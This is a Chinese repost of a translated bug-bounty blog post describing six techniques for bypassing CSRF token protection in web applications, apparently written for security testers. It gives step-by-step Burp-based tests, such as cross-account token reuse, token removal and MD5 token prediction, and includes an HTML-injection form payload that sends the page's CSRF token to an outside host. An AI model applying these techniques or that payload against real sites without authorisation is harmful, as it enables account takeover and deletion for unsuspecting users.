6种方法绕过CSRF保护
Posted 因特耐特杂货铺
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6种方法绕过CSRF保护相关的知识,希望对你有一定的参考价值。
翻译文章,原文:6 Methods to bypass CSRF protection on a web application[1]
你们都知道CSRF是什么,如果不知道的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。
1. 在帐户之间使用CSRF令牌
最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点
从帐户A登录到应用程序
转到其密码更改页面
使用burp代理捕获CSRF令牌
注销账户A,然后登录B账户
转到密码更改页面并拦截该请求
使用A的csrf token 代替 账户B的
2. 替换相同长度的值
另一种技术是,您可以找到该令牌的长度,例如,它是在您将同一变量替换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌
例如,令牌为ud019eh10923213213123,您将其替换为具有相同值的令牌。(相同长度)
3. 从请求中完全删除CSRF token
此技术通常适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。但是我发现它也可以在其他功能上工作。很简单,您用burpsuite拦截了请求,并从整个令牌中删除了令牌,我测试过的应用程序中有40%被发现容易受到此技术的攻击
4. 解码CSRF令牌
绕过CSRF的另一种方法是识别CSRF令牌的算法。根据我的经验,CSRF令牌是MD5或Base64编码的值。您可以解码该值并对该算法中的下一个值进行编码,然后使用该令牌。例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。
5. 通过html注入提取令牌
此技术利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并使用该令牌。攻击者可以植入链接,例如:
<form action=”http://shahmeeramir.com/acquire_token.php”></textarea>
6. 仅使用令牌的静态部分
经常观察到CSRF令牌由两部分组成。静态部分和动态部分。考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。shahmeer7424作为静态部分当作令牌使用。
还有许多其他方法可以绕过CSRF保护,但是我在寻找bug的过程中大多遇到这些情况。
References
[1]
6 Methods to bypass CSRF protection on a web application: https://shahmeeramir.com/methods-to-bypass-csrf-protection-on-a-web-application-3198093f6599
以上是关于6种方法绕过CSRF保护的主要内容,如果未能解决你的问题,请参考以下文章